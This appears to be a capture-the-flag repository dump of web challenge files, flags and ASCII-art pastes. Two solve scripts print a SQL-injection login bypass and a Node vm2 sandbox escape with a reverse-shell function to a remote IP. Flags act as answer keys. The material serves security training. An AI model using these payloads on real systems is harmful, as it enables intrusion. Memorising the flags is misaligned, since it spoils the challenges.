53 | RUN chmod 440 /flags/FLAG_3
54 |
55 | COPY ./challenges/4/FLAG /flags/FLAG_4
56 | RUN chown root:super_k1dd13 /flags/FLAG_4
57 | RUN chmod 440 /flags/FLAG_4
58 |
59 | # Entrypoint
60 |
61 | USER k1dd13
62 |
63 | CMD ["npm", "start"]
64 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/README.md:
--------------------------------------------------------------------------------
1 | # HackerTools
2 |
3 | > Pwn
4 |
5 | Author: @alexandre-lavoie
6 |
7 | ## Overview
8 |
9 | We found a public facing toolkit by the notorious hacking group `PWNK1DD135`. The group installs ransomwares on government/company systems; over 2M$ in damages already. Can you help us take them down?
10 |
11 | ## Challenges
12 |
13 | Given the scale of the repo, challenges were split off into ./challenges. The challenges should be prefaced by the previous overview and a link to the website.
14 |
15 | ## Resources
16 |
17 | - Enumeration: https://github.com/OJ/gobuster
18 | - Login: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
19 | - Foothold: https://pwnisher.gitlab.io/nodejs/sandbox/2019/02/21/sandboxing-nodejs-is-hard.html
20 | - PrivEsc: https://alexandre-lavoie.github.io/2021/08/22/file-move-privesc.html
21 |
22 | # Setup
23 |
24 | Requirements:
25 |
26 | ```
27 | docker
28 | docker-compose
29 | ```
30 |
31 | Start:
32 |
33 | ```
34 | Development: docker-compose -f docker-compose.dev.yml up
35 | Production: docker-compose up
36 | ```
37 |
38 | (The challenge will be locally hosted at http://localhost:1337/).
--------------------------------------------------------------------------------
/challenges/web/hackertools/challenges/1/FLAG:
--------------------------------------------------------------------------------
1 | FLAG-Y0U_C4N_3NUM3R4T3
--------------------------------------------------------------------------------
/challenges/web/hackertools/challenges/1/README.md:
--------------------------------------------------------------------------------
1 | # HackerTools - Enumeration
2 |
3 | The landing page has no interesting links or information. There might be a hidden resource? Try seeing if you can find anything with `directory-list-2.3-medium.txt`.
4 |
5 | Note: This is a bruteforce challenge, therefore it is allowed to use enumeration tools. You should be able to find the resource fairly quickly.
6 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/challenges/2/FLAG:
--------------------------------------------------------------------------------
1 | FLAG-TYP1C4L_SQL_1NJ3CT10N
--------------------------------------------------------------------------------
/challenges/web/hackertools/challenges/2/README.md:
--------------------------------------------------------------------------------
1 | # HackerTools - Login
2 |
3 | The login page seems to be pretty basic. Maybe there is an SQL injection?
4 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/challenges/3/FLAG:
--------------------------------------------------------------------------------
1 | FLAG-VM1NG_N0D3_15_H4RD
--------------------------------------------------------------------------------
/challenges/web/hackertools/challenges/3/README.md:
--------------------------------------------------------------------------------
1 | # HackerTools - Foothold
2 |
3 | There are a few tools on the website. Maybe there is one that allows remote code execution?
4 |
5 | Note: The flag can be found in `/flags`.
6 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/challenges/4/FLAG:
--------------------------------------------------------------------------------
1 | FLAG-T00_M4NY_B1N4R135
--------------------------------------------------------------------------------
/challenges/web/hackertools/challenges/4/README.md:
--------------------------------------------------------------------------------
1 | # HackerTools - PrivEsc
2 |
3 | There are weird permissions on the system. Can you privilege escalation to `super_k1dd13`?
4 |
5 | Note: The flag can be found in `/flags`.
6 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/docker-compose.dev.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 |
3 | services:
4 | hackertools:
5 | container_name: hackertools
6 | ports:
7 | - "1337:1337"
8 | environment:
9 | PORT: 1337
10 | ENVIRONMENT: "development"
11 | build:
12 | context: .
13 | dockerfile: Dockerfile
14 | entrypoint: ["npm", "run", "dev"]
15 | volumes:
16 | - ./web/src:/app/src
17 | - ./web/views:/app/views
18 | - ./web/public:/app/public
19 | - ./web/parials:/app/parials
20 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3"
2 |
3 | services:
4 | hackertools:
5 | container_name: hackertools
6 | ports:
7 | - "1337:1337"
8 | environment:
9 | PORT: 1337
10 | ENVIRONMENT: "production"
11 | build:
12 | context: .
13 | dockerfile: Dockerfile
14 | entrypoint: ["npm", "start"]
15 | restart: always
16 | healthcheck:
17 | test: curl -m 5 -f http://localhost:1337/healthcheck || kill 1
18 | interval: 30s
19 | timeout: 3s
20 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/scripts/lua.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | /bin/echo "Lua 5.2.4 Copyright (C) 1994-2015 PWNK1DD135"
4 | /bin/echo "> "
5 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/scripts/php.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | /bin/echo "PHP 7.4.20 (cli) ( ZTS )"
4 | /bin/echo "Copyright (c) PWNK1DD135"
5 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/scripts/ruby.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | /bin/echo "ruby 2.7.3p183 (2021-04-05) [PWNK1DD135]"
4 | /usr/bin/python3 -q "$@"
5 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/web/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "hackertools",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "tsci": "tsc --init",
8 | "dev": "ts-node-dev ./src/index.ts",
9 | "start": "ts-node ./src/index.ts"
10 | },
11 | "author": "",
12 | "license": "MIT",
13 | "devDependencies": {
14 | "@types/express": "^4.17.13",
15 | "@types/sqlite3": "^3.1.7",
16 | "ts-node-dev": "^1.1.8",
17 | "typescript": "^4.4.2"
18 | },
19 | "dependencies": {
20 | "cookie-parser": "^1.4.5",
21 | "ejs": "^3.1.6",
22 | "express": "^4.17.1",
23 | "sqlite3": "5.0.2",
24 | "vm2": "^3.9.3"
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/web/partials/appnav.ejs:
--------------------------------------------------------------------------------
1 |
2 |
15 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/web/partials/bootstrap.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/web/partials/head.ejs:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/web/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/hackertools/web/public/favicon.ico
--------------------------------------------------------------------------------
/challenges/web/hackertools/web/public/k1dd13.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/web/hackertools/web/public/k1dd13.gif
--------------------------------------------------------------------------------
/challenges/web/hackertools/web/views/app.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 | HackerTools | App
4 | <%- include('../partials/head.ejs') %>
5 | <%- include('../partials/bootstrap.ejs') %>
6 |
17 |
18 |
19 | <%- include('../partials/appnav.ejs') %>
20 |
21 | Welcome Back K1DD13!
22 | <%= flag %>
23 |
24 |
25 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/web/views/index.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 | HackerTools
4 | <%- include('../partials/head.ejs') %>
5 | <%- include('../partials/bootstrap.ejs') %>
6 |
18 |
19 |
20 |
21 |
🔒
22 |
23 |
HackerTools
24 |
25 |
A hacking toolkit by PWNK1DD135
.
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/web/views/login.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 | HackerTools | Login
4 | <%- include('../partials/head.ejs') %>
5 | <%- include('../partials/bootstrap.ejs') %>
6 |
14 |
15 |
16 |
35 |
36 |
37 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/web/views/tool.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 | HackerTools | <%= name %>
4 | <%- include('../partials/head.ejs') %>
5 | <%- include('../partials/bootstrap.ejs') %>
6 |
20 |
25 |
26 |
27 | <%- include('../partials/appnav.ejs') %>
28 |
29 | <%= name %>
30 | <%= description %>
31 |
32 |
33 |
34 |
35 |
36 |
37 | Run
38 |
39 |
40 |
41 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/web/views/tools.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 | HackerTools | Tools
4 | <%- include('../partials/head.ejs') %>
5 | <%- include('../partials/bootstrap.ejs') %>
6 |
11 |
12 |
13 | <%- include('../partials/appnav.ejs') %>
14 |
15 | <% tools.forEach(tool => { %>
16 |
17 |
18 |
19 |
<%= tool.name %>
20 |
21 |
<%= tool.description %>
22 |
View
23 |
24 |
25 |
26 |
27 | <% }) %>
28 |
29 |
30 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/writeups/2/solve.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import re
3 |
4 | def load_env():
5 | env = {}
6 |
7 | with open('./.env', 'r') as h:
8 | for line in h.readlines():
9 | var, val = line.strip().split('=')
10 |
11 | env[var] = val
12 |
13 | return env
14 |
15 | ENV = load_env()
16 | URL = ENV['URL']
17 |
18 | res = requests.post(URL, data={
19 | "username": "\" OR 1=1))--",
20 | "password": ""
21 | })
22 |
23 | print(re.findall(r"CTF{.*?}", res.text)[0])
24 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/writeups/3/solve.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | def load_env():
4 | env = {}
5 |
6 | with open('./.env', 'r') as h:
7 | for line in h.readlines():
8 | var, val = line.strip().split('=')
9 |
10 | env[var] = val
11 |
12 | return env
13 |
14 | ENV = load_env()
15 | URL = ENV['URL']
16 | AUTH_TOKEN = ENV['AUTH_TOKEN']
17 |
18 | def bash_exec(payload: str) -> str:
19 | res = requests.post(URL, data={
20 | "data": f"this.constructor.constructor('return this.process')().mainModule.require('child_process').execSync('{payload}').toString()"
21 | }, cookies={
22 | 'AUTH_TOKEN': AUTH_TOKEN
23 | })
24 |
25 | return res.text
26 |
27 | def reverse_shell(ip: str, port: int):
28 | function = "function () { this.pipe(sh.stdin); sh.stdout.pipe(this); sh.stderr.pipe(this); }"
29 | print(bash_exec(f"node -e \\'sh = child_process.spawn(\"/bin/sh\"); net.connect({port}, \"{ip}\", {function});\\'"))
30 |
31 | def interactive():
32 | while (payload := input('net # ')).lower() != 'exit':
33 | print(bash_exec(payload))
34 |
35 | if __name__ == '__main__':
36 | print(bash_exec("cat /home/k1dd13/FLAG"))
37 |
--------------------------------------------------------------------------------
/challenges/web/pastagen/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:7.4-apache
2 |
3 | RUN rm /var/log/apache2/access.log
4 |
5 | RUN useradd flag -c "FLAG-WHERE_DID_YOU_GET_THAT_PASTA"
6 | RUN echo -n "FLAG-LFI_TO_RCE_IN_A_FEW_STEPS" > /flag_962ee5b266379bf62dbd22cb7cfa6adc11ffbd85e37c6ac97efea767f81d6a49.txt
7 |
8 | COPY --chown=www-data:www-data ./src /var/www/html/
9 |
10 | # Clear logs every 5 mins
11 | HEALTHCHECK --interval=300s --start-period=5s --retries=3 \
12 | CMD [ "cp", "/dev/null", "/var/log/apache2/access.log" ]
13 |
14 | USER www-data
15 |
--------------------------------------------------------------------------------
/challenges/web/pastagen/README.md:
--------------------------------------------------------------------------------
1 | # PHP LFI + RCE
2 | > Web
3 | Author: @KptCheeseWhiz
4 | ## Challenge
5 | I found this cool website filled with copypastas, but something is telling me that it is not really secure.
6 |
7 | ## Resources
8 | - https://book.hacktricks.xyz/pentesting-web/file-inclusion
9 |
10 | ## Setup
11 |
12 | ### Requirements
13 | - docker
14 | - docker-compose
15 |
16 | ### How to run
17 | - Execute the command `docker-compose up`
--------------------------------------------------------------------------------
/challenges/web/pastagen/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.0"
2 |
3 | services:
4 | pastagen_server:
5 | build: .
6 | restart: unless-stopped
7 | ports:
8 | - "5000:80"
9 |
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/chungus.txt:
--------------------------------------------------------------------------------
1 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣧⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
2 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣧⠀⠀⠀⢰⡿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
3 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡟⡆⠀⠀⣿⡇⢻⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
4 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⣿⠀⢰⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
5 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡄⢸⠀⢸⣿⡇⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
6 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡇⢸⡄⠸⣿⡇⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
7 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⢸⡅⠀⣿⢠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
8 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣥⣾⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
9 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀
10 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⡿⡿⣿⣿⡿⡅⠀⠀⠀⠀⠀⠀⠀⠀
11 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⠉⠀⠉⡙⢔⠛⣟⢋⠦⢵⠀⠀⠀⠀⠀⠀⠀
12 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣄⠀⠀⠁⣿⣯⡥⠃⠀⢳⠀⠀⠀⠀⠀⠀⠀
13 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⡇⠀⠀⠀⠐⠠⠊⢀⠀⢸⠀⠀⠀⠀⠀⠀⠀
14 | ⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⡿⠀⠀⠀⠀⠀⠈⠁⠀⠀⠘⣿⣄⠀⠀⠀⠀⠀
15 | ⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣷⡀⠀⠀⠀
16 | ⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣿⣧⠀⠀
17 | ⠀⠀⠀⡜⣭⠤⢍⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢛⢭⣗⠀
18 | ⠀⠀⠀⠁⠈⠀⠀⣀⠝⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠠⠀⠀⠰⡅
19 | ⠀⠀⠀⢀⠀⠀⡀⠡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠔⠠⡕⠀
20 | ⠀⠀⠀⠀⣿⣷⣶⠒⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠀⠀⠀⠀
21 | ⠀⠀⠀⠀⠘⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠀⠀⠀⠀⠀
22 | ⠀⠀⠀⠀⠀⠈⢿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠊⠉⢆⠀⠀⠀⠀
23 | ⠀⢀⠤⠀⠀⢤⣤⣽⣿⣿⣦⣀⢀⡠⢤⡤⠄⠀⠒⠀⠁⠀⠀⠀⢘⠔⠀⠀⠀⠀
24 | ⠀⠀⠀⡐⠈⠁⠈⠛⣛⠿⠟⠑⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
25 | ⠀⠀⠉⠑⠒⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/dog.txt:
--------------------------------------------------------------------------------
1 | ░░░░░░░░░░░░░░░░░░░░
2 | ░▄▀▄▀▀▀▀▄▀▄░░░░░░░░░
3 | ░█░░░░░░░░▀▄░░░░░░▄░
4 | █░░▀░░▀░░░░░▀▄▄░░█░█
5 | █░▄░█▀░▄░░░░░░░▀▀░░█
6 | █░░▀▀▀▀░░░░░░░░░░░░█
7 | █░░░░░░░░░░░░░░░░░░█
8 | █░░░░░░░░░░░░░░░░░░█
9 | ░█░░▄▄░░▄▄▄▄░░▄▄░░█░
10 | ░█░▄▀█░▄▀░░█░▄▀█░▄▀░
11 | ░░▀░░░▀░░░░░▀░░░▀░░░
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/doge.txt:
--------------------------------------------------------------------------------
1 | ░░░░░░░░░▄░░░░░░░░░░░░░░▄
2 | ░░░░░░░░▌▒█░░░░░░░░░░░▄▀▒▌
3 | ░░░░░░░░▌▒▒█░░░░░░░░▄▀▒▒▒▐
4 | ░░░░░░░▐▄▀▒▒▀▀▀▀▄▄▄▀▒▒▒▒▒▐
5 | ░░░░░▄▄▀▒░▒▒▒▒▒▒▒▒▒█▒▒▄█▒▐
6 | ░░░▄▀▒▒▒░░░▒▒▒░░░▒▒▒▀██▀▒▌
7 | ░░▐▒▒▒▄▄▒▒▒▒░░░▒▒▒▒▒▒▒▀▄▒▒▌
8 | ░░▌░░▌█▀▒▒▒▒▒▄▀█▄▒▒▒▒▒▒▒█▒▐
9 | ░▐░░░▒▒▒▒▒▒▒▒▌██▀▒▒░░░▒▒▒▀▄▌
10 | ░▌░▒▄██▄▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒▌
11 | ▌▒▀▐▄█▄█▌▄░▀▒▒░░░░░░░░░░▒▒▒▐
12 | ▐▒▒▐▀▐▀▒░▄▄▒▄▒▒▒▒▒▒░▒░▒░▒▒▒▒▌
13 | ▐▒▒▒▀▀▄▄▒▒▒▄▒▒▒▒▒▒▒▒░▒░▒░▒▒▐
14 | ░▌▒▒▒▒▒▒▀▀▀▒▒▒▒▒▒░▒░▒░▒░▒▒▒▌
15 | ░▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▒▄▒▒▐
16 | ░░▀▄▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▄▒▒▒▒▌
17 | ░░░░▀▄▒▒▒▒▒▒▒▒▒▒▄▄▄▀▒▒▒▒▄▀
18 | ░░░░░░▀▄▄▄▄▄▄▀▀▀▒▒▒▒▒▄▄▀
19 | ░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▀▀
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/elephant.txt:
--------------------------------------------------------------------------------
1 | ░▒░█░░░░░░░░░░░░░░░░
2 | ░░░█░░░░░░░░░░░░░░░░
3 | ░░█░░░░███████░░░░░░
4 | ░██░░░██▓▓███▓██▒░░░
5 | ██░░░█▓▓▓▓▓▓▓█▓████░
6 | ██░░██▓▓▓(O)▓█▓█▓█░░
7 | ███▓▓▓█▓▓▓▓▓█▓█▓▓▓▓█
8 | ▀██▓▓█░██▓▓▓▓██▓▓▓▓▓█
9 | ░▀██▀░░█▓▓▓▓▓▓▓▓▓▓▓▓▓█
10 | ░░░░▒░░░█▓▓▓▓▓█▓▓▓▓▓▓█
11 | ░░░░▒░░░█▓▓▓▓█▓█▓▓▓▓▓█
12 | ░▒░░▒░░░█▓▓▓█▓▓▓█▓▓▓▓█
13 | ░▒░░▒░░░█▓▓▓█░░░█▓▓▓█
14 | ░▒░░▒░░██▓██░░░██▓▓██
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/feelsbadman.txt:
--------------------------------------------------------------------------------
1 | __________████████_____██████
2 | _________█░░░░░░░░██_██░░░░░░█
3 | ________█░░░░░░░░░░░█░░░░░░░░░█
4 | _______█░░░░░░░███░░░█░░░░░░░░░█
5 | _______█░░░░███░░░███░█░░░████░█
6 | ______█░░░██░░░░░░░░███░██░░░░██
7 | _____█░░░░░░░░░░░░░░░░░█░░░░░░░░███
8 | ____█░░░░░░░░░░░░░██████░░░░░████░░█
9 | ____█░░░░░░░░░█████░░░████░░██░░██░░█
10 | ___██░░░░░░░███░░░░░░░░░░█░░░░░░░░███
11 | __█░░░░░░░░░░░░░░█████████░░█████████
12 | _█░░░░░░░░░░█████_████___████_█████___█
13 | _█░░░░░░░░░░█______█_███__█_____███_█___█
14 | █░░░░░░░░░░░░█___████_████____██_██████
15 | ░░░░░░░░░░░░░█████████░░░████████░░░█
16 | ░░░░░░░░░░░░░░░░█░░░░░█░░░░░░░░░░░░█
17 | ░░░░░░░░░░░░░░░░░░░░██░░░░█░░░░░░██
18 | ░░░░░░░░░░░░░░░░░░██░░░░░░░███████
19 | ░░░░░░░░░░░░░░░░██░░░░░░░░░░█░░░░░█
20 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█
21 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█
22 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█
23 | ░░░░░░░░░░░█████████░░░░░░░░░░░░░░██
24 | ░░░░░░░░░░█▒▒▒▒▒▒▒▒███████████████▒▒█
25 | ░░░░░░░░░█▒▒███████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█
26 | ░░░░░░░░░█▒▒▒▒▒▒▒▒▒█████████████████
27 | ░░░░░░░░░░████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█
28 | ░░░░░░░░░░░░░░░░░░██████████████████
29 | ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█
30 | ██░░░░░░░░░░░░░░░░░░░░░░░░░░░██
31 | ▓██░░░░░░░░░░░░░░░░░░░░░░░░██
32 | ▓▓▓███░░░░░░░░░░░░░░░░░░░░█
33 | ▓▓▓▓▓▓███░░░░░░░░░░░░░░░██
34 | ▓▓▓▓▓▓▓▓▓███████████████▓▓█
35 | ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██
36 | ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█
37 | ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/gnome.txt:
--------------------------------------------------------------------------------
1 | ⣿⣿⣿⣿⣿⠟⠉⠁⠄⠄⠄⠈⠙⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
2 | ⣿⣿⣿⣿⠏⠄⠄⠄⠄⠄⠄⠄⠄⠄⠸⢿⣿⣿⣿⣿⣿⣿⣿⣿
3 | ⣿⣿⣿⣏⠄⡠⡤⡤⡤⡤⡤⡤⡠⡤⡤⣸⣿⣿⣿⣿⣿⣿⣿⣿
4 | ⣿⣿⣿⣗⢝⢮⢯⡺⣕⢡⡑⡕⡍⣘⢮⢿⣿⣿⣿⣿⣿⣿⣿⣿
5 | ⣿⣿⣿⣿⡧⣝⢮⡪⡪⡪⡎⡎⡮⡲⣱⣻⣿⣿⣿⣿⣿⣿⣿⣿
6 | ⣿⣿⣿⠟⠁⢸⡳⡽⣝⢝⢌⢣⢃⡯⣗⢿⣿⣿⣿⣿⣿⣿⣿⣿
7 | ⣿⠟⠁⠄⠄⠄⠹⡽⣺⢽⢽⢵⣻⢮⢯⠟⠿⠿⢿⣿⣿⣿⣿⣿
8 | ⡟⢀⠄⠄⠄⠄⠄⠙⠽⠽⡽⣽⣺⢽⠝⠄⠄⢰⢸⢝⠽⣙⢝⢿
9 | ⡄⢸⢹⢸⢱⢘⠄⠄⠄⠄⠄⠈⠄⠄⠄⣀⠄⠄⣵⣧⣫⣶⣜⣾
10 | ⣧⣬⣺⠸⡒⠬⡨⠄⠄⠄⠄⠄⠄⠄⣰⣿⣿⣿⣿⣿⣷⣽⣿⣿
11 | ⣿⣿⣿⣷⠡⠑⠂⠄⠄⠄⠄⠄⠄⠄⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
12 | ⣿⣿⣿⣿⣄⠠⢀⢀⢀⡀⡀⠠⢀⢲⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
13 | ⣿⣿⣿⣿⣿⢐⢀⠂⢄⠇⠠⠈⠄⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
14 | ⣿⣿⣿⣿⣧⠄⠠⠈⢈⡄⠄⢁⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
15 | ⣿⣿⣿⣿⣿⡀⠠⠐⣼⠇⠄⡀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
16 | ⣿⣿⣿⣿⣯⠄⠄⡀⠈⠂⣀⠄⢀⠄⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿
17 | ⣿⣿⣿⣿⣿⣶⣄⣀⠐⢀⣸⣷⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/pikachu.txt:
--------------------------------------------------------------------------------
1 | ░░░░░░░░▀████▀▄▄░░░░░░░░░░░░░░▄█
2 | ░░░░░░░░░░█▀░░░░▀▀▄▄▄▄▄░░░░▄▄▀▀█
3 | ░░▄░░░░░░░░█░░░░░░░░░░▀▀▀▀▄░░▄▀
4 | ░▄▀░▀▄░░░░░░▀▄░░░░░░░░░░░░░░▀▄▀
5 | ▄▀░░░░█░░░░░█▀░░░▄█▀▄░░░░░░▄█
6 | ▀▄░░░░░▀▄░░█░░░░░▀██▀░░░░░██▄█
7 | ░▀▄░░░░▄▀░█░░░▄██▄░░░▄░░▄░░▀▀░█
8 | ░░█░░▄▀░░█░░░░▀██▀░░░░▀▀░▀▀░░▄▀
9 | ░█░░░█░░█░░░░░░▄▄░░░░░░░░░░░▄▀
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/seagull.txt:
--------------------------------------------------------------------------------
1 | ░░░░░▄▀▀▀▄░░░░░░░░░░░░░░░░░
2 | ▄███▀░◐░░░▌░░░░░░░░░░░░░░░░
3 | ░░░░▌░░░░░▐░░░░░░░░░░░░░░░░
4 | ░░░░▐░░░░░▐░░░░░░░░░░░░░░░░
5 | ░░░░▌░░░░░▐▄▄░░░░░░░░░░░░░░
6 | ░░░░▌░░░░▄▀▒▒▀▀▀▀▄░░░░░░░░░
7 | ░░░▐░░░░▐▒▒▒▒▒▒▒▒▀▀▄░░░░░░░
8 | ░░░▐░░░░▐▄▒▒▒▒▒▒▒▒▒▒▀▄░░░░░
9 | ░░░░▀▄░░░░▀▄▒▒▒▒▒▒▒▒▒▒▀▄░░░
10 | ░░░░░░▀▄▄▄▄▄█▄▄▄▄▄▄▄▄▄▄▄▀▄░
11 | ░░░░░░░░░░░▌▌░▌▌░░░░░░░░░░░
12 | ░░░░░░░░░░░▌▌░▌▌░░░░░░░░░░░
13 | ░░░░░░░░░▄▄▌▌▄▌▌░░░░░░░░░░░
--------------------------------------------------------------------------------
/challenges/web/pastagen/src/pastas/shrek.txt:
--------------------------------------------------------------------------------
1 | ⢀⡴⠑⡄⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
2 | ⠸⡇⠀⠿⡀⠀⠀⠀⣀⡴⢿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
3 | ⠀⠀⠀⠀⠑⢄⣠⠾⠁⣀⣄⡈⠙⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀
4 | ⠀⠀⠀⠀⢀⡀⠁⠀⠀⠈⠙⠛⠂⠈⣿⣿⣿⣿⣿⠿⡿⢿⣆⠀⠀⠀⠀⠀⠀⠀
5 | ⠀⠀⠀⢀⡾⣁⣀⠀⠴⠂⠙⣗⡀⠀⢻⣿⣿⠭⢤⣴⣦⣤⣹⠀⠀⠀⢀⢴⣶⣆
6 | ⠀⠀⢀⣾⣿⣿⣿⣷⣮⣽⣾⣿⣥⣴⣿⣿⡿⢂⠔⢚⡿⢿⣿⣦⣴⣾⠁⠸⣼⡿
7 | ⠀⢀⡞⠁⠙⠻⠿⠟⠉⠀⠛⢹⣿⣿⣿⣿⣿⣌⢤⣼⣿⣾⣿⡟⠉⠀⠀⠀⠀⠀
